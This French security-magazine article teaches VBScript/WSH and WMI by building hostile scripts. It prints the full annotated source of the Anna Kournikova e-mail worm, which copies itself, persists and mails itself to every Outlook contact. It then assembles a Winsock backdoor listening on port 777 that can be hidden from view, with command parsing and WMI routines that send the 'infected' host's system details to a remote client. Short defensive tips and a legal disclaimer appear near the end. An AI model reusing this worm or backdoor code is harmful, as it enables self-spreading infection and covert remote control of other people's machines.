SICCHIA DIDIER

Développement WSH

Degré de difficulté

Cet article explique les méthodes afin de développer un script hostile selon le modèle Win32. Le dossier se base sur d'anciens modèles du genre très explicites largement utilisés par quelques pirates durant les années 90. Ensuite, nous constituerons un code afin d'aboutir à un outil d'administration distant, implémentant les usages WMI, comprendre une BackDoor.

CET ARTICLE EXPLIQUE...

Cet article plonge notamment dans les mécanismes profonds relatifs à la gestion du matériel sur Operating System Win32/64. La constitution de codes WSH/WMI aide largement à l'automatisation de commandes récurentes afin de contrôler une machine d'entreprise ou domestique. Fondamentalement, un virus pourrait nuire largement à l'intégrité d'un système local ou distant. Plusieurs exercices nous aideront à bien saisir la mécanique de l'objet WMI.

CE QU'IL FAUT SAVOIR...

Notions de développement selon WSH.

Savoir constituer un code VBS ou JS.

Usage traditionnel d'un Operating System Win32/64 quelconque.

Durant la seconde moitié des années 90, beaucoup de virus ont été développés avec peu de moyens, seulement en utilisant des scripts relativement courts. Il s'agissait de prouesses techniques importantes pour l'époque, dont l'ingéniosité n'avait d'égal que les dégâts engendrés dans de nombreuses entreprises. Melissa et *I Love You* (love letter) résonnent encore aujourd'hui comme autant d'avertissements. Pourtant, il ne s'agissait que de scripts simples sous environnement Windows, langage généralement reconnu par l'abréviation WSH. Traditionnellement, la notion de virus engage une nature complexe. Nous démontrerons au travers de ce dossier que ce n'est pas toujours le cas. Ainsi, la vigilance s'impose.

Windows Scripting Host (abréviation WSH) peut être utilisé pour une foultitude de besoins quelconques, incluant l'administration système et réseau ou encore l'automatisation de procédures complexes ou anodines. Depuis Windows 98, toutes les plates-formes Microsoft emportent des gestionnaires afin d'interpréter les susdits scripts : les applications en question se nomment Wscript et Cscript (usage simple sous console *cmd*). Ajoutons que les scripts portent généralement les extensions *JS*, *JSE*, *VBS* et *VBE*.

Comme l'explique très bien *wikipedia*, La création d'un script VBS est très facile. D'ailleurs, pour celui qui désire débuter en programmation, il demeure une opportunité intéressante puisqu'il ne réclame aucun aménagement particulier. Voici la méthode afin de coder sous WSH (plus simple honnêtement, ce n'est pas possible).

- 1 – Lancer un éditeur de texte,
- 2 – Copiez les instructions du script,
- 3 – Sauvegarder le fichier avec une extension *vbs*,
- 4 – Ouvrez le fichier pour executer le script.

Par exemple et afin d'illustrer nos propos, voici un petit script pour obtenir la version VBS et WSH actuellement embarquée sur l'ordinateur hôte. Vous remarquerez que les fonctions et arguments sont simplement des anglicismes :

```
info = "Version " & ScriptEngine & " : "
info = info & "v" & ScriptEngine
      MajorVersion & "." _& Script
      EngineMinorVersion
info = info & " (build " & Script
      EngineBuildVersion & ")"
info = info & VBCRLF & "Version
      WSH  : " & WScript.Version
wscript.echo info
```

Ainsi, on peut largement comparer ce langage au traditionnel *Visual Basic*, mais celui-ci se révèle beaucoup plus polyvalent puisqu'il ne nécessite pas de compilation. Un simple code rédiger avec le bloc-note suffit, même s'il existe de très nombreuses applications afin d'ajouter à la convivialité du développement. L'intérêt de

ce langage de haut niveau (comprendre relativement lourd en exécution) est qu'il permet de répondre à des commandes autrement plus fastidieuses grâce à quelques lignes de code parfaitement logiques. En d'autres termes, s'il fallait développer une application C/C++ avec usage des en-têtes et obligation de compilation, VBS resterait une alternative beaucoup plus simple et on pourrait composer ce code en quelques commandes associées. Puisqu'il s'agit d'un script, celui-ci peut être hébergé sur une page HTML ou PHP. Néanmoins, beaucoup de codeurs chevronnés considèrent ce langage obsolète, datant d'un âge aujourd'hui complètement révolu. C'est peut être un tort, voire une erreur importante !

Il existe une large communauté de codeur VBS et JS et leur travail ne manque pas d'intérêt. Il permet encore aujourd'hui de considérer le caractère non négligeable de ce langage. Même s'il ne s'agit pas d'un sujet propre à la sécurité informatique, on ne peut qu'être impressionné devant des codes complexes (parfois plusieurs dizaines de milliers de lignes), scripts qui reprennent de grands classiques du jeu vidéo des années 80, comme Mario ou Wolfenstein, etc. En outre, on peut aussi apprécier des codes pour la gestion de la vision 3D, ce qui est tout à fait remarquable, eu égard à la complexité du principe.

L'ensemble des codes qui va suivre permettra à chacun de perfectionner (ou d'apprendre) l'art de programmer sous environnement Windows.

Même si par moment, les commandes peuvent sembler rudimentaires, elles constituent un bon moyen d'automatiser quelques actions récursives.

Listing 1. *Un modèle du genre, Anna Kournikova.*

```
Rem - Gestion des erreurs eventuelles.
On Error Resume Next
Rem - Déclaration des OBJECTs WScriptShell et FileSystemObject.
Set WScriptShell = CreateObject("WScript.Shell")
Set FileSystemObject = Createobject("scripting.filesystemobject")
Rem - Ecriture d'une chaîne quelconque dans la clé HKCU.
WScriptShell.regwrite "HKCU\software\OnTheFly\", _
"Worm made with Vbswg 1.50b"
Rem - Copie du script dans C:\Windows sous le nom
      AnnaKournikova.jpg.vbs
Rem - Selon OS, il peut s'agir aussi du registre C:\WinNT ou
      autre.
FileSystemObject.copyfile wscript.scriptfullname, _
FileSystemObject.GetSpecialFolder(0) & "\AnnaKournikova.jpg.vbs"
Rem - Lecture de la clé pour savoir si les contacts sont déjà
      infectés.
If WScriptShell.regread ("HKCU\software\OnTheFly\mailed")
      <> "1" then
Rem - Si cela n'est pas le cas (soit <>1), on jump sur
      la fonction doMail.
   doMail()
End if
Rem - Le script lance une URL si nous sommes le 26
      Janvier avec pour
Rem - destination le site hollandais Dynabyte
      (sans gravité aucune).
If month(now) = 1 and day(now) = 26 then
   WScriptShell.run "http://www.dynabyte.nl",3,false
End if
Rem - Ensuite, on ouvre le script pour le lire intégralement afin
Rem - de constituer un semblant de tampon nommé 'thisScript'.
Set thisScript = FileSystemObject.opentextfile _
(wscript.scriptfullname, 1)
thisScriptText = thisScript.readall
Rem - Le tampon est effectif. On clôture la lecture du script.
thisScript.Close
Rem - Dans une boucle conditionnelle, on copie le script
      au cas où il
Rem - viendrait à être effacé. La boucle crée une saturation
Rem - des systèmes sans grande incidence majeure.
      Un reboot suffit!
Do
If Not (FileSystemObject.fileexists(wscript.scriptfullname)) Then
   Set newFile = FileSystemObject.createtextfile _
   (wscript.scriptfullname, True)
   newFile.write thisScriptText
   newFile.Close
End If
Loop
Rem - Voici le coeur du Virus! La fonction autrement nommée
      par le script
Rem - I Love U 'SpreadToEMail'(de l'anglais, propagation
      par Mail).
Function doMail()
On Error Resume Next
Rem - On crée OBJECT Outlook.Application.
Set OutlookApp = CreateObject("Outlook.Application")
If OutlookApp = "Outlook" Then
   Set MAPINameSpace = OutlookApp.GetNameSpace("MAPI")
Rem - On considère le nombre de contact figurant dans le carnet.
    Set AddressLists = MAPINameSpace.AddressLists
   For Each address In AddressLists
Rem - Pour chacun d'eux, on envoit un mail selon
      le protocole habituel
Rem - soit Adresse, Sujet, Texte et un fichier joint
      qui n'est autre
Rem - qu'une copie du script infectieux AnnaKournikova.jpg.vbs
   If address.AddressEntries.Count <> 0 Then
      entryCount = address.AddressEntries.Count
      For i = 1 To entryCount
         Set newItem = OutlookApp.CreateItem(0)
         Set currentAddress = address.AddressEntries(i)
         newItem.To = currentAddress.Address    ' Adresse @Mail.
         newItem.Subject = "Here you have, ;o)" ' Sujet et texte.
         newItem.Body = "Hi:" & vbcrlf & "Check This!" &
               vbcrlf & ""
         Set attachments = newItem.Attachments  ' Fichier joint.
         attachments.Add FileSystemObject.GetSpecialFolder(0) &_
         "\AnnaKournikova.jpg.vbs"
Rem - A chaque Mail, on efface la copie présente dans
      le registre 'Send'.
         newItem.DeleteAfterSubmit = True
         If newItem.To <> "" Then
          newItem.Send
Rem - Inscription d'une valeur 1 pour confirmer les
            précédentes infections.
         WScriptShell.regwrite "HKCU\software\OnTheFly\mailed"
               , "1"
         End If
      Next
   End If
Next
End if
End Function
```

Introduction à WMI

WSH dispose aussi d'un environnement ajouté et optimisé qui permet d'améliorer l'implication des scripts dans l'administration système et réseau, on le nomme WMI. *Windows Management Instrumentation* est l'implémentation de Microsoft du *Web-Based Enterprise Management* (WBEM). Il s'agit d'un standard du *Distributed Management Task Force* (DMTF), un ensemble de technologies développé pour unifier la gestion des environnements différents sur la toile mondiale. En finalité, on obtient un langage riche et pertinent sous de nombreux aspects. Examinons un exemple parfait avant de développer nos propres scripts : le ver ou virus, Anna Kournikova. Certes, ce code a plus de 7 ans. Néanmoins, il reste un cas d'école tant il est ingénieux.

Anna Kournikova est une joueuse de tennis russe professionnelle de 1995 à 2003… mais c'est aussi un virus particulièrement inoffensif et développé en VBS. Son examen se révèle un très bon exercice afin de comprendre quelques pertinences propres au WSH, notamment dans le développement de virus. Le code n'engendrait pas de dégâts majeurs, mais simplement une redirection du navigateur internet. Effectivement, le code du virus prévoit que le 26 janvier de chaque année, une fenêtre du navigateur s'ouvre sur l'ordinateur infecté afin de visiter un site néerlandais. Néanmoins, le code *Anna Kournikova* est intéressant parce qu'il reprend quelques principes auparavant utilisés par des virus beaucoup plus agressifs. La fonction première de ce code est de se propager via la messagerie électronique grâce aux adresses collectées. Examinons la fantaisie :

Quelques mots sur la méthode employée

Eu égard à ce que nous venons de considérer, nous sommes obliger d'admettre la dangerosité potentielle d'un script de cet acabit. En l'occurrence, ce code utilisait le carnet d'adresse propre à l'application Outlook Express. Par un habile procédé, chaque lien devient à son tour un maillon essentiel à la propagation du ver. Un récent article paru dans *hakin9* (mois de Juillet) expliquait les mécanismes afin d'atteindre un polymorphisme appréciable si on souhaite gagner en furtivité afin de tromper un anti-virus.

Listing 2. *Création d'un socket sous WMI*

```
Rem - Nous déclarons fso et WshShell en tant qu'objet.
Set fso = CreateObject("Scripting.FileSystemObject")
Set WshShell = WScript.CreateObject("WScript.Shell")
Rem - oSck contient notre structure de socket.
Set oSck = Create_oSck()
Rem - On sollicite l'usage de la console par Cscript.exe
If (right(UCase(WScript.FullName),11) = "WSCRIPT.EXE") Then
   Set Shell=CreateObject("WScript.Shell")
   Shell.Run Shell.ExpandEnvironmentStrings("%COMSPEC%") & _
   " /C cscript.exe """ & WScript.ScriptName & """,1,False
   Set Shell = Nothing
   WScript.Quit
End If
Rem - On affiche les premières variables locales.
Text "BackDoorVBS on " & oSck.LocalHostName & " " & oSck.LocalIP
Rem - On affecte le port 777 en mode écoute.
oSck.LocalPort = 777
oSck.Listen
Text "Listening on port " & oSck.LocalPort
Rem - Boucle sans fin permettant de garder le serveur en activité.
Do
   Wscript.Sleep 999
Loop
Rem - Fonction socket grâce à MSWinsock avec pour nom s_
Function Create_oSck()
On Error Resume Next
Err.Number=0
Set Create_oSck=WScript.CreateObject("MSWinsock.Winsock","s_")
Rem - Gestion des éventuelles erreurs ou incompatibilité.
Select Case Err.Number
   Case 0
      Text "mswinsck.ocx OK."
   Case &H80040112
      Text "Licence absente."
      Wscript.Sleep 2500
      Wscript.Quit(1)
   Case &H80020009
      Text "mswinsck.ocx absente."
      Wscript.Sleep 2500
      Wscript.Quit(1)
   Case else
      Text "Error " & Err.Number & " - &H" & _
      Hex(Err.Number) & " - " & Err.Description
      Wscript.Sleep 2500
      Wscript.Quit(1)
   End Select
End Function
Rem - Routine pour l'écho textuel de chaque Data et Info.
Sub Text(T)
WScript.Echo Now & " " & T
End Sub
Rem - Routine pour l'acceptation sans réserve d'un client.
Sub s_ConnectionRequest(Byval requestID)
oSck.Close
Text oSck.RemoteHostIP & " - Connection request n?" & requestID
oSck.Accept requestID
Send "Serveur : " & oSck.LocalHostName
End Sub
Rem - Routine clôture et réinitialisation du serveur.
Sub s_Close()
oSck.Close
Text "--> again"
oSck.Listen
End Sub
Rem - Routine pour l'explication textuelle des erreurs.
Sub s_Error(ByVal A, B, ByVal C, ByVal S, ByVal F, ByVal H, Y)
Text "Event " & A & " - " & B
oSck.Close
oSck.Listen
End Sub
Rem - Routine pour l'envoi des informations commandées.
Sub Send(x)
oSck.SendData x
Text "<send> " & x
Wscript.Sleep 500
End Sub
Rem - Routine réception et interprétation DATA.
Sub s_DataArrival(Byval cmd)
cmd = "Buffer_quelconque"
oSck.GetData cmd
Text cmd
End Sub
```

Les fonctions WMI sont importantes en nombre, mais aussi en pertinence car elles contrôlent l'ensemble d'un système Windows. Qu'il s'agisse de définir le volume d'un disque dur, le matériel associé à l'environnement d'exploitation ou encore la cadence du CPU par exemple, il y a toujours une fonction WMI idéale pour cet usage. On peut alors coder un script de gestion afin de simplifier une administration système. Or, jusqu'à présent, nous avons seulement évoqué l'usage local du WSH. Néanmoins, il existe une méthode afin de développer un script WSH/WMI pour l'administration d'un ordinateur distant. C'est une certitude, il existe des *chevaux de Troie* ou des *SpyWares* profitant largement de la polyvalence de ce langage.

Développement WMI et usage socket TCP/IP

WSH ne s'oriente pas à l'origine vers ce genre d'usages. Pourtant, en usant d'une extension OCX comme en Visual Basic traditionnel, il est possible de générer un socket en mode *listen* soit en attente de requêtes extérieures venant d'un réseau, notamment l'internet. Ainsi, cette OCX particulière se nomme *Mswinsck.ocx et* accompagne la station de développement MSVC (*Microsoft Visual Studio*) dès la version 4, mais aussi de nombreuses autres applications différentes qu'on retrouve sur la toile mondiale. Or, qu'est-ce qu'une OCX?

Une OCX est une *OLE Control ActiveX* selon la contraction étymologique propre. Or, qu'est-ce qu'une OLE? En d'autres termes, il faut comprendre Object Linking and Embedding. En vérité, ce sont généralement des extensions nécessaires aux systèmes et applications Windows pour divers usages comme la création de fenêtres, la gestion système ou l'utilisation d'images, etc. Finalement, une OCX est comparable, dans une très large mesure, à une DLL (*Dynamic Linked Library*). Les applications codées en VB reposent beaucoup sur ce principe d'extension. Par ailleurs, ceci explique la portabilité discutable (voire faible) de certaines applications codées en VB ou WSH sur des machines ne disposant pas de ces outils nécessaires. Dans notre exposé, on suppose donc l'installation d'une station de développement C/C++ MSVC au préalable.

Lors de l'initialisation de la console (ligne 10 de notre code précédent), il est possible de masquer l'application en modifiant la commande `intWindowStyle`. Il s'agit de l'avant-dernière instruction, soit la variable 1. Il faut la changer par la valeur 0. On obtient alors un insidieux outil masqué et terriblement efficace. La fonction finale `s _ DataArrival` doit aussi contenir une condition afin de définir la commande. Le code se présente simplement ainsi (voir Lisitng 1).

Néanmoins, afin de dégager les arguments envoyés sur la seule base d'une chaîne de caractères, nous utiliserons une méthode intéressante. Elle consiste à effectuer une recherche sur caractères particuliers pour déterminer les points clés de la déconcaténation. Cette astuce permet de ne pas être limité à des variables fixes pour déterminer le nombre de caractères à considérer. Pour effectuer cette manoeuvre, nous utiliserons les commandes `InStr` et `InStrRev` pour rechercher le caractère clé `*. InStr` renvoie une valeur correspondante au classement du caractère recherché dans la chaîne. `InStrRev` effectue la même opération mais en commençant par la fin de la chaîne. Par un principe d'élimination, on obtient plusieurs arguments sans solliciter de variables fixes et astreignantes (voir Lisiting 2).

Démonstration de quelques fonctions WMI

Présentement, nous savons comment utiliser un socket sous WSH. Nous comprenons aussi la méthode pour traduire plusieurs arguments via une chaîne de caractères reçue. Ces deux portions de code constituent la structure principale de notre script. Ensuite, et selon les besoins du développeur, il ne reste plus qu'à implémenter des fonctions WSH/WMI dans le code puisque les entrées ont déjà été définies. Nous allons donc considérer quelques exemples afin d'aboutir à une pleine perception des aptitudes WMI. Nous allons recueillir des informations concernant le système hôte (comprendre infecté) et les envoyer au client (voir Listing 3).

Listing 3. *Simples conditions sur les fonctions*

```
Sub s_DataArrival(Byval cmd)
cmd = "Buffer_quelconque"
oSck.GetData cmd
If cmd = "COM1" then
   Call COM1
End if
If cmd = "COM2" then
   Call COM2
End if
If cmd = "COM3" then
   Call COM3
End if
End Sub
```

Listing 4. *Déconcaténation d'une chaîne de caractères*

```
Data = "BackDoor*WSH*48"
lool = "*"
lft_pos = Instr(1,Data,lool)
rgt_pos = InstrRev(Data,lool,-1,1)
Rem - Nous retirons une unité(-1) pour le caractère *
lft_cmd = Left(Data,(lft_pos)-1)
strg = Right(Data,Len(Data)-(lft_pos))
Rem - Nous retirons une unité(-1) pour le caractère *
rgt_cmd = Left(strg,((rgt_pos)-1)-lft_pos)
Icon = Right(Data,Len(Data)-(rgt_pos))
Rem - Création d'une MessageBox avec nos 3 arguments.
result = MsgBox (rgt_cmd,Icon,lft_cmd)
```

Éxécution automatique des fichier WSH

Il existait (il existe toujours si votre système n'est pas à jour) deux problèmes majeurs qui engageaient l'intégrité d'un ordinateur sous OS Windows. La faute venait essentiellement du constructeur (comprendre Microsoft). Or, ces négligences honteuses méritent une large explication afin de se prémunir des dangers. Ne pensez pas qu'il s'agit de failles désuètes sans aucune importance.

Premièrement, une des ruses les plus couramment utilisées par les concepteurs de virus est de camoufler le code malveillant derrière une extension différente et anodine. L'utilisateur est alors trompé parce qu'il ne voit pas la double extension en WSH (bien souvent vbs). En d'autres termes, on pense afficher une photographie ou ouvrir un document quelconque, alors qu'il s'agit d'un script malicieux. L'infection est consommée! Très facile à mettre en oeuvre, il convient d'être très vigilant car, comme on le sait bien, *tout ce qui brille n'est pas or.*

Deuxièmement, les scripts en VBS sont exécutés automatiquement, sans votre intervention et sans que vous en soyez informés, dès que la page arrive sur votre navigateur, avant même sa visualisation ou dès que le mail est ouvert (un peu comme le code HTML traditionnel). Il est particulièrement dangereux de laisser le système Windows selon cette configuration initiale, eu égard à certains automatismes propres aux fichiers WSH.

Il faut bien comprendre que cette fantaisie a largement contribuée à la propagation des virus VBS qui avaient fait la couverture des magazines spécialisés en sécurité informatique durant les années 90 et 2000 (relire l'introduction de cet article).
A l'époque, quelques heures avaient suffit pour infecter des centaines de milliers d'ordinateurs (y compris ceux de la prestigieuse NSA). Et donc aujourd'hui ? Faut-il laisser la porte ouverte ? Nous ne pouvons tolérer cette maladresse sur nos ordinateurs. Heureusement, la méthode afin de *fermer* cet accès ambigu est relativement simple. Nous faisons suivre l'explication écrite et une image afin de simplifier la compréhension. Il est impérieux d'agir avec responsabilité afin d'éviter les éventuelles infections.

Listing 5. *Informations relatives au matériel du PC*

```
Rem - Informations sur la carte mère.
Sub SYSTM_Info()
Set colSettings = objWMIService.ExecQuery _
   ("Select * from Win32_ComputerSystem")
   For Each objComputer in colSettings
      Send "System user name is " & objComputer.Name
      Send "System Manufactured by " & objComputer.Manufacturer
      Send "System Model: " & objComputer.Model
   Next
End Sub
Rem - Informations sur le type de machine.
Sub TYPE_Info()
Set colChassis = objWMIService.ExecQuery _
   ("Select * from Win32_SystemEnclosure")
For Each objChassis in colChassis
Rem - Type du châssis de la machine distante.
   For i = Lbound(objChassis.ChassisTypes) to Ubound
         (objChassis.ChassisTypes)
      Select Case objChassis.ChassisTypes(i)
      Case 3
         strComputer_Chassis = "Desktop"
      Case 6
         strComputer_Chassis = "Mini Tower"
      Case 8
         strComputer_Chassis = "Portable"
      Case 9
         strComputer_Chassis = "LapTop"
      Case 10
         strComputer_Chassis = "NoteBook"
      Case 11
         strComputer_Chassis = "Hand Held"
      Case 12
         strComputer_Chassis = "Docking Station"
      Case 23
         strComputer_Chassis = "Rack Mount Chassis"
      Case else
         strComputer_Chassis = "Identification impossible"
      End Select
   Send "Model type --> " & strComputer_Chassis
   Next
Next
End Sub
```

```
Rem - Obtention d'informations sur OS.
Sub OS_Info()
Set colSettings = objWMIService.ExecQuery _
   ("Select * from Win32_OperatingSystem")
   For Each objOperatingSystem in colSettings
      Send "OS name : " & objOperatingSystem.Name
      Send "Version : " & objOperatingSystem.Version
      Send "OS Manufactured by " & objOperatingSystem.
           Manufacturer
   Next
End Sub
Rem - Obtention d'informations sur le CPU.
Sub CPU_Info()
Set colSettings = objWMIService.ExecQuery _
   ("Select * from Win32_Processor")
   For Each objProcessor in colSettings
Rem - Architecture de la machine distante.
   Select Case objProcessor.Architecture(i)
      Case 0
         strComputer_Architecture = "x86 computer"
      Case 1
         strComputer_Architecture = "Mips computer"
      Case 2
         strComputer_Architecture = "Alpha computer"
      Case 3
         strComputer_Architecture = "PowerPC computer"
      Case 6
         strComputer_Architecture = "ia64 computer"
      Case else
         strComputer_Architecture = "Identification impossible"
   End Select
   Send "System Type : " & strComputer_Architecture
   Send objProcessor.Description
Next
   Set colSettings = objWMIService.ExecQuery _
      ("Select * from Win32_BIOS")
         For Each objBIOS in colSettings
      Send "Current Language : " & objBIOS.CurrentLanguage
      Send "Manufactured by " & objBIOS.Manufacturer
   Next
End Sub
```

Sur Internet

- *http://www.laboratoire-microsoft.org/scripts*,
- *http://msdn.microsoft.com/en-us/library/aa394572(VS.85).aspx*,
- *http://www.computerperformance.co.uk/vbscript/wmi.htm*,
- *http://frenchezines.free.fr/tries/rtcmag/3/polymorphvbs.txt*.

Pour empêcher les scripts VBS de s'executer automatiquement :

- Connectez-vous selon le profil *Administrateur*,
- Sur le *Bureau*, ou dans l'*Explorateur Windows*, cliquez avec le bouton droit sur *Poste de Travail*,
- Sélectionnez *Ouvrir* dans le menu,
- Dans la fenêtre *Poste de Travail*, ouvrez le menu *Affichage* et sélectionnez *Options*,
- Ouvrez la page à onglets *Types de Fichiers*,
- Recherchez *Fichier script VBScript* dans la liste des types de fichiers,
- Cliquez sur le bouton *Supprimer*,
- Confirmez la commande.

Présentement, nous sommes à l'abri d'un automatisme discutable. Dorénavant, s'il fallait executer un script quelconque, il faudra d'abord que vous donniez votre consentement via une *MessageBox*.

PS : La situation est sensiblement identique selon les versions des OS Microsoft.

Conclusion de l'exposé WMI

Nous ne pouvons traiter de toutes les fonctions WSH/WMI dans notre dossier. Un seul numéro de *hakin9* ne pourrait suffire, tant il en existe de nombreuses et variées. Rappelons simplement qu'il est possible de contrôler le système hôte et le matériel associé, d'écrire de nouveaux fichiers ou d'effacer de précédentes compositions, d'éteindre ou de rebooter une machine, de lire des informations sensibles ou de les modifier, etc. En bref, un pirate aurait largement de quoi ravir ses sens criminels via un script de cet acabit.

Certes, la grande majorité des logiciels de surveillance ne permettent pas l'exécution de pareils codes sans l'autorisation préalable de l'administrateur. Néanmoins, la négligence ou la crédulité peuvent porter certains à de pénibles égarements et provoquer l'intrusion insidieuse d'un script similaire à celui que nous venons d'évoquer.

Afin d'éviter toutes infections, il faut d'une part, veiller à vérifier la nature des pages Web visitées durant ses *surf sessions*, mais aussi garantir l'authenticité des messages reçus par messagerie électronique. Parfois, un pirate informatique peut aussi utiliser une ActiveX ou une OCX afin d'executer un script malicieux. Cela ne peut se faire que par autorisation et acceptation de la part de l'utilisateur. Il convient donc de vérifier la nature de la requête avant d'autoriser le téléchargement d'une OCX ou ActiveX quelconque.

En conclusion, le bon sens veut que l'on évite la paranoïa compulsive à chaque présence d'une *OCX/ActiveX* ou d'un script WSH. Néanmoins, la prise de conscience du phénomène et la vigilance s'imposent sachant que le meilleur anti-virus, c'est vous !

Note : Si vous souhaitez expérimenter un outil d'administration à distance développé en WSH, je tiens gracieusement à votre disposition un important script VBS dont le volume ne nous permet pas la rédaction entière dans ce journal. Celui-ci se compose de 21 commandes et illustre à merveille l'administration d'un système distant grâce aux fonctions WMI et le détournement de l'implémentation `mswinsck.ocx`. Comme client, il suffit d'utiliser une application comme NetCat.

Avant de conclure ce dossier, nous portons l'attention du lecteur sur le seul caractère informatif de cet article : la constitution de virus afin de nuire à autrui est répréhensible selon la loi de nombreux pays (notamment la France).

À propos de l'auteur

Sicchia Didier est à l'origine de nombreux exploits, dossiers et articles divers pour plusieurs publications francophones consacrées à la sécurité informatique et au développement. Autodidacte et passionné, son expérience se porte notamment sur les *ShellCodes*, les débordements d'allocations de mémoire, les *RootKits*, etc. Plus que tout autre chose, c'est l'esprit alternatif de la communauté UnderGround qui le motive.

Pour contacter l'auteur : *didiersicchia@free.fr*